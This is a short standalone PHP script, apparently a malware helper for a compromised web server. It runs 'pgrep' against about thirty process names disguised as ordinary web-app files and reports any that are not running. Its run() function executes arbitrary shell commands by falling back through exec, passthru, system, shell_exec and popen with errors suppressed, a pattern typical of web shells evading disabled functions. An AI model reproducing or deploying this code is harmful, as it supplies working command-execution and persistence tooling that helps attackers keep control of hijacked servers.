<?php   $files = ['update_function','idv3_settings','core_functions','rate_report03','changeTut','bad_password','sectiontemplate','backuplib','tbl_select','aidonate','blogLib.class','tbl_rename','orders_status','ImgRequired','paymentgateway','formatting','info_publiclist','postsidebar','enrol_authorize','assignment_sci','upload_products','avatar_manage','payment.bak','alertpay_success','slideshow','actionscript','document_general','class.support','install.bak','busi_accept04']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }